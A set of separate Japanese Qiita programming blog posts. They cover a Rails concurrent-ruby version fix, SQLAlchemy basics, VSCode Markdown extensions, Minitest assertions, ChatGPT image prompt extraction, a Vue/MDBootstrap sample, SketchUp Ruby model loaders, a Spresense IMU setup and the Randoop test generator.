OmniAICreator/Qiita-1.07M huggingface dataset:
ActiveSupport::LoggerThreadSafeLevel::Loggerの対処を行う

# Railsで `ActiveSupport::LoggerThreadSafeLevel::Logger` エラーが出る原因と対処法

### はじめに

こんにちは。
課題を行うため、アプリを開発しようとしたのですが、エラー続出で戸惑ってしまいました。
アウトプットのために、まとめておきます。

## 開発環境

- OS: macOS Sonoma 14.6.1
- Ruby: 3.1.4（rbenv使用）
- Rails: 6.1.7.6
- Bundler: 2.6.6
- PostgreSQL: 14
- Node.js: 18.x（webpacker用）
- Yarn: 1.x（webpacker用）
- rbenv: 使用（Homebrew経由でインストール）


## 発生したエラー

Rails アプリ作成や起動時に、以下のようなエラーが発生しました。


- `bundle exec rails new` の直後
- `bin/rails s` をしたとき
- Ruby 2.7〜3.1 環境でも確認


## 原因

Rails の内部ライブラリ `activesupport` が `Logger::Severity` を参照。

しかし、`concurrent-ruby` gem の **バージョン 1.3.5 以降**で `Logger` 関連の処理に変更が入り、  Rails 側から参照できなくなり、このエラーが発生。


## 対処できた方法

`concurrent-ruby` を **1.3.4 に固定**


## 修正手順

`Gemfile` に以下を追加 or 修正

```ruby
gem 'concurrent-ruby', '1.3.4'
```

`bundle update` でバージョンをダウングレード

```bash
bundle update concurrent-ruby
```

その後、依存関係を再インストール
```
bundle install
```
Rails アプリを作成 or 起動。
```bash
# アプリ作成
bundle exec rails new my_app --database=postgresql

# すでに作ってある場合はサーバー起動
rails s
```

## なぜこのエラーが起きるのか？
様々な記事を参照したところ、
Rails 6.x は Logger::Severity を暗黙的に使用。
concurrent-ruby 1.3.5 でその部分の内部実装が変更・削除されたことで、
Rails 側が期待する Logger 定数が存在しなくなり、エラーが発生するようになったとのこと。

## まとめ
1. ActiveSupport::LoggerThreadSafeLevel::Logger のエラーは concurrent-ruby のアップデートが原因
2. concurrent-ruby を 1.3.4 に回避できる可能性がある

## おわりに
Rails のエラーに振り回されましたが、どうにか無事解決できました。
初学者のため、間違えていたらすいません。
初心者向け：Python × SQLデータベースの最強タッグ「SQLAlchemy」入門！




こんにちは！この記事では、Pythonでデータベース操作を便利にするライブラリ「SQLAlchemy」について、初心者にもわかりやすく解説します。

---

## ✅ SQLAlchemyとは？

**SQLAlchemy（エスキューエル・アルケミー）**は、Pythonで**データベース操作を抽象化するライブラリ**です。  
SQL文を書かなくても、Pythonのコードだけでデータベースを操作できるようになります。

> 簡単に言えば「**PythonでSQLを書かずにSQLを使える魔法**」のようなもの！

---

## 🧱 2つの使い方がある

SQLAlchemyには主に2つのレベルがあります：

| モード | 説明 | 難易度 |
|--------|------|--------|
| **Core** | 生SQLに近い書き方。SQLを抽象化して扱う。 | 中級者向け |
| **ORM（Object Relational Mapper）** | クラスとテーブルを1対1でマッピング。Djangoっぽい。 | 初心者でも扱いやすい ✅ |

この記事では、初心者に優しい **ORMモード** を中心に紹介します！

---

## 🔧 インストール方法

```bash
pip install sqlalchemy
```

DBドライバも一緒に入れます（例：SQLiteやPostgreSQL）

```bash
pip install sqlite3  # SQLiteはPythonに標準で入ってるので省略可
pip install psycopg2  # PostgreSQL用
```

---

## 📄 モデル定義（PythonクラスとDBテーブルを対応させる）

```python
from sqlalchemy import Column, Integer, String, create_engine
from sqlalchemy.orm import declarative_base

Base = declarative_base()

class User(Base):
    __tablename__ = 'users'

    id = Column(Integer, primary_key=True)
    name = Column(String)
    email = Column(String)
```

→ このクラスを書くだけで、**SQLのテーブル定義が完了**します。

---

## 🚀 DBに接続してテーブルを作る

```python
engine = create_engine('sqlite:///mydb.sqlite3')
Base.metadata.create_all(engine)
```

`mydb.sqlite3` というSQLiteファイルが作られ、中に `users` テーブルができます。

---

## ✍️ データの追加・取得（セッションを使う）

```python
from sqlalchemy.orm import Session

# セッション開始
session = Session(bind=engine)

# ユーザーの追加
new_user = User(name="Taro", email="taro@example.com")
session.add(new_user)
session.commit()

# ユーザーの取得
users = session.query(User).all()
for user in users:
    print(user.name, user.email)
```

---

## ✅ よくある使い方（チートシート）

| 操作 | コード例 |
|------|----------|
| データ追加 | `session.add(obj)` → `session.commit()` |
| データ取得 | `session.query(User).all()` |
| 条件付き検索 | `session.query(User).filter(User.name == "Taro").first()` |
| 更新 | `user.name = "Jiro"` → `session.commit()` |
| 削除 | `session.delete(user)` → `session.commit()` |

---

## 💡 こんなときに便利！

- 複雑なSQLクエリをPythonで管理したい
- データベースの変更に強く、可読性の高いコードが書きたい
- Djangoより自由度が高いORMが欲しい
- FastAPIと一緒に使ってAPI + DBを連携させたい

---

## 🧠 まとめ

| 項目 | 内容 |
|------|------|
| ライブラリ名 | SQLAlchemy |
| 主な機能 | DB操作の抽象化（ORM） |
| よく使う場面 | API開発、データ処理、自作アプリ |
| 初心者向け機能 | ORMモード（クラスベースでDB設計） |

---

## 📚 さらに学びたい方へ

- 公式ドキュメント：https://docs.sqlalchemy.org/
- 実践例：FastAPI + SQLAlchemy + Alembic（マイグレーション）
- async対応：`SQLModel` や `AsyncSession` の活用もおすすめ
VSCodeでドキュメント作成するならまずこれを入れよう

:::note info
なぜか拡張機能のリンクが非表示になっていたので修正しています
:::

## なぜMarkdownか

- 記法が簡単で表現力が高い（**※１**）
- テキストなので差分管理がしやすい
- QiitaもMarkdown形式を採用している

**※１ プレビュー機能があるとなおよい！**



## VSCodeを使うならこの拡張機能を入れてみよう

### Markdown All in One

<https://marketplace.visualstudio.com/items?itemName=yzhang.markdown-all-in-one)>

まずはこれを入れていたら間違いないと思う！  
詳細は拡張機能の公開サイトを見ていただくといいですが、とりあえずのおすすめポイントは

- これを入れていたら大体の機能が使える（最初に入れるべき拡張機能）
- 便利なショートカットが用意されている
    - 太字：Ctrl＋B
    - 表のフォーマット：Alt+Shift+F
- パスの補完をしてくれる
    - ファイルリンク（特に画像）のパスを補完してくれる

### Paste Image

<https://marketplace.visualstudio.com/items?itemName=mushan.vscode-paste-image>

~~これは画像を資料に入れたいときにマストの拡張機能だと思います！~~  

:::note info
コメントをいただいたので追記します
今はCtrl+Vでスクショを貼れるみたいですね。
保存先パスは同じディレクトリになるのでimgフォルダを作って保存したい場合は、この拡張があるほうが楽ですが、今やマストではないみたいです。
:::

これがないと、

1. スクショを撮る
2. 保存先のディレクトリに移動して保存する
3. 保存したディレクトリのパスをコピー
4. コピーしたパスを指定して記載

という作業が必要になりますが、この拡張を入れると

1. スクショを撮る
2. VSCode上で「Ctrl＋Alt＋V」で貼り付ける
    1. ここでディレクトリの保存とコード上へのパスの書き出しを行います
    2. ショートカットキーを押した後に保存先パス指定をすることもできます 

たったこれだけになります

### Markdown PDF

<https://marketplace.visualstudio.com/items?itemName=yzane.markdown-pdf>

これは作った資料をPDFとして書き出すときに必要なツールになります。
PDFだけではなく、HTML形式にも吐き出せるので、配布する際は便利です。
styleはワークスペースごとなどでCSSファイルを指定できるので、見出しのフォントなどにこだわりがある場合は、CSSを当てておくのもよいでしょう。

## Markdownの記法にこだわりたいならこれを入れておこう

### markdownlint

<https://marketplace.visualstudio.com/items?itemName=DavidAnson.vscode-markdownlint>

これはMarkdownの正しい記法を教えてくれるツールです。  
時々鬱陶しいと思うかもしれませんが、リントに従って修正すると決まったフォーマットで作成できるのでお勧めです。

## スライドもVSCodeで作りたいならこれを入れておこう

### Marp for VS Code

<https://marketplace.visualstudio.com/items?itemName=marp-team.marp-vscode

これはVSCodeでスライドまで作っちゃおうっていうときに便利です。
ただしアニメーションを使ったりはできないことと凝ったデザインは難しいので、そういう場合はPowerPointやPages、Googleスライドなどを使ったほうが表現力は上がります

**おすすめポイント**

- 画像の配置が簡単
    - `![w:500](./画像のパス)`といった形で通常だとキャプションを入れる個所にサイズ指定ができます
    - わざわざhtmlのimageタグでサイズを書かなくてもいいのが便利です
    - pdfやpptx、pngへの出力ができる
        - pptxはエクスポートできるが**PowerPointで修正ができない**のでお勧めはできない
- 標準のスタイルが３種類用意されている
    - default
    - gaia（個人的にこれが一番使いやすい）
    - uncover
- カスタマイズCSSを適用してオリジナルのスタイルも作ることができる

## 複雑な数式も使いたいならこれも入れておきましょう

### Markdown+Math

<https://marketplace.visualstudio.com/items?itemName=goessner.mdmath

TeXの数式を使いたい場合は、入れておくと便利かと思います。
これがあれば、TeXでさえ簡単に使えてしまいます。
コンパイルして表示する手間もなくリアルタイムにプレビューが見られるのがいいですね。
まぁ学生時代にあれば使っていただろうという感じですね。今は使うことないかと思います^^;

## おわりに

WordやLaTeXでてきていたことがVSCodeだけでできてしまう時代です。
Marpを入れると簡単なスライドもVSCodeだけでできてしまいます（無料でここまではすごいですよね）
今回は省きましたが、[vscode-pandoc](https://marketplace.visualstudio.com/items?itemName=ChrisChinchilla.vscode-pandoc)を使えば、編集できる形でWordファイルへ書き出すこともできます。
こちらは興味があれば調べてみてください。試したところでは自作のテンプレートファイルのスタイルを適用することもできました。機会があればやり方の記事を書くかもしれません。

コーディングだけでなく、ドキュメントも簡単に作れてしまうVSCodeはもはや手放せないツールですね。
【Rails】assert_equal と assert_matchの違いについて

# はじめに

こんにちは。アメリカに住みながら独学でエンジニアを目指しているTairaです。
テストを記述する際、**`assert_equal`** と **`assert_match`** という2つのアサーションを使う場面があります。
どちらも文字列（や数値など）に対してチェックを行う目的で使われますが、それぞれの使い方と目的は異なります。
以下では、Rails のテストフレームワーク（Minitest）を想定して、この2つのアサーションの違いについて説明します。

---
### `assert_equal(expected, actual)`

1. **完全一致かどうかを確認する**
   - `expected`（期待値） と `actual`（実際の値）が等しいことをテストします。
   - 等しいかどうかの判定には、Ruby における `==` 演算子が使われます。

2. **利用例**
   - 文字列や数値、配列など、「まったく同じ値かどうか」を比較したい場合に使います。
   - 例えば、コントローラのアクションから返された値や、モデルの属性の値などが所望の値になっているかどうかをテストする際に便利です。

```ruby
# 例: テストの一部
assert_equal "Hello", my_method # my_methodの戻り値が"Hello"であることを確認
assert_equal 100, my_number     # my_numberが100であることを確認
```

---
### `assert_match(matcher, string)`

1. **部分一致かどうかを確認する**
   - `matcher` が正規表現や文字列の場合に、`string` がそのパターンとマッチするかどうかをテストします。
   - 一致とは「部分一致」でも良いため、全文が厳密に同じである必要はありません。

2. **利用例**
   - 「メール本文やレスポンス本文に、特定の文字列が含まれているか」を簡単に確認したいときに便利です。
   - たとえば、メール本文にパスワードリセット用のトークンが含まれているかどうかなど、ピンポイントで確認できます。

```ruby
# 例: テストの一部
assert_match /Hello/, some_string   # some_stringが"Hello"を含むか（正規表現）
assert_match "Hello", some_string # some_stringが"Hello"を含むか（単なる文字列）
```

---
### 使い分けのポイント

- **厳密に一致を求める場合**（数値が正しいか、文字列が完全一致か確認したい場合など）は **`assert_equal`** を使いましょう。
- **部分一致や含まれているかどうかを確認したい場合**、または **「正規表現でパターンマッチを行いたい場合」** は **`assert_match`** を使いましょう。

#### 例
- **パスワード再設定メールのテスト**
  - 件名や送信先メールアドレスのように、決まった文字列をチェックしたい場合は `assert_equal` が便利。
  - メール本文に含まれるトークンやURLをテストしたい場合は、メール本文が長いので全文を比較するのではなく、必要なキーワードが含まれているかを `assert_match` で確認するのが簡単です。

---

### まとめ

- **`assert_equal`** : 値そのものが完全に一致しているかをテスト。厳密な一致判定。
- **`assert_match`** : 特定のパターン（文字列 or 正規表現）を文字列が含んでいるかをテスト。部分一致でもOK。

テストでは、何をどの程度チェックしたいのかに応じて、使い分けることが大切です。全く同じ文字列を期待するなら `assert_equal`、含まれていればOKなら `assert_match` を使えば、わかりやすいテストを実装できます。
【ChatGPT＋4o Image Generation】でのPromptの取得について。


　どうも、カーブミラーです。

　今回は、4o Image GenerationでのPromptの取得について。画像のPromptが欲しい。

:::note info
本記事は、ChatGPT（Plus版）
で行なっております。
画像はあります。　あしからず。
:::
　ChatGPT等の動作状況を知らせる
　　OpenAIのステータスページ。
　　　[OpenAIステータス](https://status.openai.com/)
***
　こちらも載せますね。
　　[ChatGPTが使えない？ログインできない・反応しない原因やエラー時の対処法を解説](https://aismiley.co.jp/ai_news/chatgpt-error-resolution-explanation/)
***
　では、【本題】です。

　今回は、
　　4o Image Generationでの
　　　Promptの取得について。

　DALL-E3のときは、
　　Promptのコピーができました。

　4o Image Generationになってからは
　　明示的に指示する必要があります。

　私は、DALL-E3でも
　　メニューからの取得ではなく、
　　　指示して、出して
　　　　もらっていました。
　　　　　クセになってて😅

　4o Image Generationになってから
　　たまたま同じように
　　　指示して出してもらったのですが､
　　　　あれ？と思うことがありました｡

　この画像を出したあとです。
![ChatGPT Image 2025年3月28日 20_08_16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/7829ddb5-78be-4cae-be13-3c236eed430e.png)

　いつものように、下記のPromptを
　　指示して出してもらいました。
```Text:いつものPrompt書き出しPrompt
まず英語プロンプトを出力してください。略さずに和訳。
```
　↓
***（ChatGPT）****
『誰が為に』という日本の映画のためのヴィンテージ風ポスターには、若いカウボーイと舞踏会の衣装を着た女性が登場します。
ポスターは温かみのある黄金色の色調で描かれており、2人の親密な瞬間を捉えています。カウボーイは静かに女性を見つめ、女性は彼に憧れるような眼差しを向けています。
二人の衣装は情熱とノスタルジアを呼び起こすような、ロマンティックで時を超える物語の雰囲気を表現しています。
***

　あれ？
　　タイトル以外の文字列が
　　　書かれていませんよ。

　あれ？
　　ChatGPTに尋ねると
***（ChatGPT）****
素晴らしいご指摘です。その通りです。
現時点で提供された英語プロンプトには、以下のような実際の画像に含まれているテキスト情報（クレジット・タイトルなど）が一切含まれていません。
***

　いやいや、
　　そうじゃないでしょ！

　ということに
　　なりまして……

　そこで
　　抽出Promptを
　　　作りました。
```Text:Prompt抽出Prompt
画像のPrompt以外の情報（アスペクト比やテキストその他）を画像から取得してください。それを画像のPromptに組み込んでください。別のセッションでも描画できるように。

組み込まれたPromptは、コードブロックに出力して。

また、そのPromptの省略しない和訳を出力してください。
```

　このPromptで
　　抽出したPromptを
　　　新しいセッションで
　　　　試した結果が、こちら。
![ChatGPT Image 2025年3月29日 11_25_22.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3457238/66c34dfe-12fe-4a79-b946-75cfedd284a0.png)

　一部、日本語が崩れていますが、
　　“確認して”と入力・送信すれば
　　　画像を解析した上で
　　　　改善点を提示してくれます。

　　それをもとに
　　　再描画を依頼すれば、
　　　　ほぼ直ります。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
Vue3+MDBootstrap5のサンプルを作ってみた

# はじめに
久しぶりすぎて全くわからなくなったので、再度お勉強のためにサンプルコードを作ってみました。
ChatGPT に依頼してみました。

# 更新履歴
2025.3.29 初回投稿

## インストール手順
1.　プロジェクトの作成
```bash
npm init vue@latest
```
インタラクティブな質問に答えて、プロジェクト名を入力し、Vue 3オプションを選択します。
わからなければチェックせずそのままリターン
** ここではsampleにしてみました。
2.　プロジェクトに移動して依存関係をインストール
```bash
cd sample
npm install
```
3.　MDBootstrap 5のインストール
```bash
npm install mdb-vue-ui-kit
```
4.　CSSとJSのインポート
- src/main.js ファイルを編集して、MDBootstrapのCSSとJSをインポートします。
```javascript
import { createApp } from 'vue'
import App from './App.vue'
import 'mdb-vue-ui-kit/css/mdb.min.css' // MDBootstrapのCSSをインポート

createApp(App).mount('#app')
```
## サンプルコード
- 以下は、MDBootstrap 5のVueコンポーネントを使って、簡単なカードを表示するサンプルです。

## App.vue
```vue
<script setup>
import HelloWorld from './components/HelloWorld.vue'
import TheWelcome from './components/TheWelcome.vue'

// MDBootstrap 5のコンポーネントをインポート
import { MDBCard, MDBBtn } from 'mdb-vue-ui-kit'
import 'mdb-vue-ui-kit/css/mdb.min.css'
</script>

<template>
  <header class="bg-primary text-white py-4">
    <div class="text-center">
      <img alt="Vue logo" class="logo mb-3" src="./assets/logo.svg" width="125" height="125" />
      <h1>Welcome to MDBootstrap 5 + Vue 3</h1>
    </div>
  </header>

  <main class="container my-5">
    <MDBCard class="p-4 mb-4">
      <h2 class="text-center mb-4">Interactive Component</h2>
      <HelloWorld msg="You did it!" />
    </MDBCard>

    <MDBCard class="p-4">
      <h2 class="text-center mb-4">Enjoy More Components!</h2>
      <TheWelcome />
      <div class="text-center mt-4">
        <MDBBtn color="success" class="me-2" @click="showAlert">Click Me!</MDBBtn>
        <MDBBtn color="danger">Danger Button</MDBBtn>
      </div>
    </MDBCard>
  </main>
</template>

<script>
import { ref } from 'vue';

function showAlert() {
  alert('You clicked the button!');
}
</script>

<style scoped>
header {
  text-align: center;
}

.logo {
  display: block;
  margin: 0 auto;
}

.container {
  max-width: 700px;
}

@media (min-width: 1024px) {
  .logo {
    margin-bottom: 1rem;
  }
}
</style>
```

## 実行
- 以下のコマンドで開発サーバーを起動し、ブラウザで確認できます。
```bash
npm run dev
```
## 実行後の画面
![スクリーンショット 2025-03-29 11.43.32.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/9961/90def1a5-38f9-407b-b6d4-a2e1920814d2.png)
windows11で、sketchup6 その22

# 概要
windows11に、sketchup6を入れてみた。
rubyで、3Dを書く。
練習問題やってみた。

# 練習問題
stlローダーを書け。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/4b30b000-6d6e-43b8-877e-cb0cbeb22671.png)

# サンプルコード

```

require "sketchup.rb"

def stl_ld
	entities = Sketchup.active_model.entities
	groups = {}
	vertices = []
	state = 0
	f = UI.openpanel "Select .stl file", "", "*.stl"
	return unless f
	lines = IO.readlines(f)
	lines.each do | line |
		next if line[0] == ?#
		line.strip!
		values = line.split
		next if values.length == 0
		cmd = values.shift
		case cmd
		when "facet"
			state = 0
			vertices = []
		when "vertex"
			state = state + 1
			v = []
			v << Float(values[0])
			v << Float(values[2])
			v << Float(values[1])
			vertices << v
			if (state == 3)
				begin
					entities.add_face vertices
				rescue
					UI.messagebox "err"
					p vertices
				end
			end
		end
	end 
end
```

以上。
windows11で、sketchup6 その21

# 概要
windows11に、sketchup6を入れてみた。
rubyで、3Dを書く。
練習問題やってみた。

# 練習問題
mqoローダーを書け。

# 写真


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/0aca48fd-bedc-4352-8ec2-66119be4dbf6.png)

# サンプルコード

```

require "sketchup.rb"

def mqo_ld
	entities = Sketchup.active_model.entities
	groups = {}
	vertices = []
	mirror = 0
	f = UI.openpanel "Select .mqo file", "", "*.mqo"
	return unless f
	lines = IO.readlines(f)
	lines.each do | line |
		next if line[0] == ?#
		line = line.gsub(/\(/, " ( ")
		line = line.gsub(/\)/, " ) ")
		line.strip!
		values = line.split
		next if values.length == 0
		cmd = values.shift
		case cmd
		when "Object"
			gname = values[0].gsub(/\"/, "")
			if (groups[gname].nil?)
				groups[gname] = Sketchup.active_model.entities.add_group
				groups[gname].name = gname
			end
			entities = groups[gname].entities
			vertices = []
			mirror = 0
		when "mirror"
			mirror = 1
		when "4"
			face = []
			face << Integer(values[2])
			face << Integer(values[3])
			face << Integer(values[4])
			verts = face.map {| v | vertices[v]}
			begin
				entities.add_face verts
			rescue
				UI.messagebox line
				p verts
			end
			face = []
			face << Integer(values[4])
			face << Integer(values[5])
			face << Integer(values[2])
			verts = face.map {| v | vertices[v]}
			begin
				entities.add_face verts
			rescue
				p verts
			end
			if mirror == 1
				vertices.collect! {| v | [-v[0], v[1], v[2]]}
				face = []
				face << Integer(values[4])
				face << Integer(values[5])
				face << Integer(values[2])
				verts = face.map {| v | vertices[v]}
				begin
					entities.add_face verts
				rescue
					UI.messagebox line
					p verts
				end
				face = []
				face << Integer(values[4])
				face << Integer(values[3])
				face << Integer(values[2])
				verts = face.map {| v | vertices[v]}
				begin
					entities.add_face verts
				rescue
					UI.messagebox line
					p verts
				end
			end
		when "3"
			face = []
			face << Integer(values[2])
			face << Integer(values[3])
			face << Integer(values[4])
			verts = face.map {| v | vertices[v]}
			begin
				entities.add_face verts
			rescue
				UI.messagebox line
				p verts
			end
			if mirror == 1
				vertices.collect! {| v | [-v[0], v[1], v[2]]}
				face = []
				face << Integer(values[2])
				face << Integer(values[3])
				face << Integer(values[4])
				verts = face.map {| v | vertices[v]}
				begin
					entities.add_face verts
				rescue
					UI.messagebox line
					p verts
				end
			end
		when "2"
			#
		else
			if cmd.match(/^[\d-]/)
				v = []
				v << Float(cmd) / 10
				v << Float(values[1]) / 10 * -1
				v << Float(values[0]) / 10
				vertices << v
			end
		end
	end
end
```

以上。
windows11で、sketchup6 その20

# 概要
windows11に、sketchup6を入れてみた。
rubyで、3Dを書く。
練習問題やってみた。

# 練習問題
rokローダーを書け。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/ad620b97-2959-43bb-983e-b22ad3c01df7.png)

# サンプルコード

```
require 'sketchup.rb'

def rok_ld
	entities = Sketchup.active_model.entities
	vnam = 0
	lnam = 0
	state = 0
	fmod = 0
	verts = 0
	x, y, z, s, e = 0
	c = 0
	v = []
	l = []
	f = UI.openpanel "Select .rok file", "", "*.rok"
	return unless f
	lines = IO.readlines(f, "\r")
	lines.each do |line|
		line.strip!
		case line
		when "POINT"
			state = 1
		when "LINE0"
			state = 2
			lnam = 0
		when "FACE0"
			state = 3
		when "END00"
			UI.messagebox "ok"
		else
			if state > 0
				 c += 1
			end
			if state == 1
				if c == 1
					vnam = Integer(line)
				end
				if c == 6
					x = Float(line)
				end
				if c == 7
					y = Float(line)
				end
				if c == 8
					z = Float(line)
				end
				if c == 8
					v[vnam] = [x * 10, z * 10, -y * 10]
					c = 0
				end
			end
			if state == 2
				if c == 1
					s = Integer(line)
				end
				if c == 2
					e = Integer(line)
				end
				if c == 3
					lnam += 1
				end
				if c == 4
					l[lnam] = [s, e]
					c = 0
				end
			end
			if state == 3
				if c == 1
					fmod = Integer(line)
				end
				if c == 2
					f = []
				end
				if c == 4
					f[0] = Integer(line)
				end
				if c == 5
					f[1] = Integer(line)
				end
				if c == 6
					f[2] = Integer(line)
					if fmod == 3
						verts = [v[l[f[0]][0]], v[l[f[0]][1]], v[l[f[1]][0]], v[l[f[1]][1]], v[l[f[2]][0]], v[l[f[2]][1]]]
						verts.uniq!
						begin
							entities.add_face verts
						rescue
							UI.messagebox fmod
						end
						c = 0
					end
				end
				if c == 7
					f[3] = Integer(line)
					if fmod == 4
						verts = [v[l[f[0]][0]], v[l[f[0]][1]], v[l[f[1]][0]], v[l[f[1]][1]], v[l[f[2]][0]], v[l[f[2]][1]] , v[l[f[3]][0]], v[l[f[3]][1]]]
						verts.uniq!
						begin
							entities.add_face verts
						rescue
							entities.add_face [verts[0], verts[1], verts[2]]
							entities.add_face [verts[2], verts[3], verts[0]]
						end
						c = 0
					end
				end
			end
		end
	end
end
```

以上。
SpresenseマルチIMU Add-onボード ArduinoIDE

## 概要

話題の高精度マルチIMUが手に入ったのでArduinoIDE動かしてみる。
- 動いた結果はこちら。 
　※PHコネクタが干渉するところからスタート。(コネクタは取り外しました)
<img src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/483299/3928e66e-1a2c-4116-9e5b-dcfe640dbe68.png width=320>

<img src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/483299/9420bd5b-11a8-460f-86e9-b0582b3a6ec3.jpeg width=250>

## 使い方
- 使い方の公式ドキュメントはこちら。
[マルチIMU Add-onボード チュートリアル](https://developer.sony.com/spresense/development-guides/arduino_tutorials_ja.html#_tutorial_imu_addon)

- メインコアでマルチIMUを動かす
    - imu/imu.ino スケッチを新規に作成します。
    - <details><summary>imu.ino コード</summary>
        <div>
        #include <Arduino.h>
        #include <arch/board/board.h> 
        
        extern "C" int main(int argc, char *argv[]); 
        
        void setup(void) {
          int ret;
          ret = board_cxd5602pwbimu_initialize(5); 
          if (ret < 0)
            {
              printf("ERROR: Failed to initialize CXD5602PWBIMU.\n");
            }
          else
            {
              printf("board_cxd5602pwbimu_initialize: OK\n");
            }
          main(0, NULL); 
        }
        void loop() {
        }
        </div></details>

- Spresense SDK サンプルコードをダウンロードして imu フォルダにコピーします。
[spresense/examples/cxd5602pwbimu/cxd5602pwbimu_main.c](https://github.com/sonydevworld/spresense/blob/master/examples/cxd5602pwbimu/cxd5602pwbimu_main.c)

- Download raw file ボタンからファイルをダウンロードしてください。
<img src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/483299/3943ed63-0fed-4667-a2d9-0fedc0f4c6a4.png width=320>

- ダウンロードしたファイルを imu フォルダにコピーしてください。
<img src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/483299/dd98e778-9f69-434b-810d-753a71565d1e.png width=320>

- スケッチをビルドして書き込みを実行する。
<img src=https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/483299/3928e66e-1a2c-4116-9e5b-dcfe640dbe68.png width=320>

以上

## 参考
- [マルチIMU方式による慣性センサの高精度化](https://www.kenkai.jaxa.jp/research/innovation/multi_imu.html)
- [SDK（software development kit）を利用](https://s-taka.org/sony-spresense-imu/)
- [Spresense IMU 自己位置推定](https://github.com/hijimasa/cxd5602pwbimu_localizer_arduino/tree/main)
- [SpresenseマルチIMU Add-onボード（通称：がいためIMU） ライブラリ](https://github.com/Interested-In-Spresense/SpresenseIMU/tree/master)
- [Arduino IDEでソニーのIMUを動かしてみた](https://qiita.com/SaChiKaKK/items/50c550782b13fe43061e)
 
- [がいためIMU を Arduino で動かす SPRESENSE向けマルチIMU Add-onボード](https://gist.github.com/GOROman/f91f2c01adb6cfb192563e62c9c851fb)
- [話題のマルチIMUを触ってみた！ その3](https://spresense.livedoor.blog/archives/38460839.html)
windows11で、sketchup6 その19

# 概要
windows11に、sketchup6を入れてみた。
rubyで、3Dを書く。
練習問題やってみた。

# 練習問題
objローダーを書け。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/19eea670-ce85-4143-86ec-048d29f55e2c.png)

# サンプルコード

```

require "sketchup.rb"

def obj_ld
	entities = Sketchup.active_model.entities
	groups = {}
	vertices = []
	f = UI.openpanel "Select .obj file", "", "*.obj"
	return unless f
	lines = IO.readlines(f)
	lines.each do | line |
		next if line[0] == ?#
		line.strip!
		values = line.split
		next if values.length == 0
		cmd = values.shift
		case cmd
		when "v"
			v = values.map {| e | Float(e)}
			vertices << v
		when "g"
			gname = values.join "_"
			if (groups[gname].nil?)
				groups[gname] =	Sketchup.active_model.entities.add_group
				groups[gname].name = gname
			end
			entities = groups[gname].entities
		when "f"
			face = []
			values.each do | v |
				w = v.split("/")
				face << Integer(w[0])
		end
		verts = face.map {| v | vertices[v - 1]}
		begin
			entities.add_face verts
		rescue
			#UI.messagebox line
		end
		end
	end 
end
```

以上。
Randoop導入計画 ~序~

# 概要
Randoopというツールをご存知でしょうか？
簡単に言うとJUnitでカバレッジの高いテストコードを自動で生成してくれるツールです。
Javaで動くためGradleタスクとして組み込むこともできます。

# そもそもテストコードとは？
テストコードは主にレグレッションテストで用いられるもので、その名の通りコードでテストを書くものです。
手で単体テストを実施するのではなく、メソッド単位で入力値と想定される出力値を書くことで、コード修正後に想定外の出力になることを検知することができます。

# テストコードの課題
テストコードを作成すること自体は良いことなのですが、現実問題としてテストコードの作成にはその処理を書くよりも工数が掛かります。
最近はAIに任せるなど聞きますが、現場によってはセキュリティ面で使用できないこともあります。
それに良いテストコードを書くには要件を明確、かつ正確に把握しそれを元に過不足のないコードを作成する必要があります。
AI側にそれをうまく伝えるには伝える側のスキルが必要で、人間間のやり取り以上に詳細に伝えないとAIも正確性の高いテストコードを提供できません。
テストコードはそういう意味で現在もハードルが高く、打鍵テストに寄る現場が多いと感じております。

> もちろんメリットもあり、一度作成したらレグレッションテストが楽になります。楽になると後続の開発時にテスト工数をある程度減らすことができます。
> まあお客さんからしたら予算もあるので、最初の開発時に「テストコード作りましょう」とか言っても、受け入れられないことの方が多いと思いますが。。。

# Randoopとは
業務コードを静的解析ツールで分析し、引数の値にいろんな値を設定するテストコードを作成してくれるツールになります。
何でもOpenJDKのTreeSetで不具合を検知した実績があるそうな。

> [原文]
> A TreeSet is an ordered collection. According to the API documentation, this constructor call should throw a ClassCastException because the list element is not Comparable. But the constructor silently (and problematically) accepts the list.
> [DeepL翻訳]
> TreeSetは順序付けられたコレクションである。APIのドキュメントによると、このコンストラクタ呼び出しは、リスト要素がComparableではないため、ClassCastExceptionをスローするはずである。しかし、コンストラクタは黙って（そして問題なく）リストを受け入れる。
> [ページ]
> https://randoop.github.io/randoop/manual/index.html

~~ただのドキュメントのミスじゃね？という発言は置いておいて。。。~~ 自動生成したコードはCastの挙動確認にも対応していそうですね。
なお作成されるテストコードは以下の2種類らしいです。

1. 実行時に成功するテスト。レグレッションテスト観点。
2. 実行時に失敗するテスト。メソッドに潜在バグがないか確認する観点。

おおよそテストコードを作成する時と同じ観点で作成されていますね。
成功するテストは当たり前で、失敗するテストも引数によっては予期せぬエラーが発生するケースを検知するのに使用する、という感じでしょうか。
ぱっと見、記載内容は良さげに見えます（謎上目線）。

# 使用方法
方法が載っているページはこちらです。

https://randoop.github.io/randoop/manual/index.html

コンソール上でJavaで動くそうな。Gradleでも実行できそうで嬉しいですね。

## 1. クラスを掲載したファイルを作成
`myClasses.txt`というものを作成するそうです。
マニュアルでは作成したものがこちらになります。

```myClasses.txt
java.util.Collections
java.util.TreeSet
```

どうやらビルドパスを記載するようですね。

## 2. javaでRandoopを実行
公式からRandoopのjarファイルをダウンロードして以下のように実行するそう。

```sh
$ java -classpath ${RANDOOP_JAR} randoop.main.Main gentests --classlist=myclasses.txt --time-limit=60
```

実行メッセージは以下のとおりです。

```log
Created file: my/home/directory/RegressionTest0.java
Created file: my/home/directory/RegressionTest.java
Created file: my/home/directory/ErrorTest0.java
Created file: my/home/directory/ErrorTest.java
done.
```

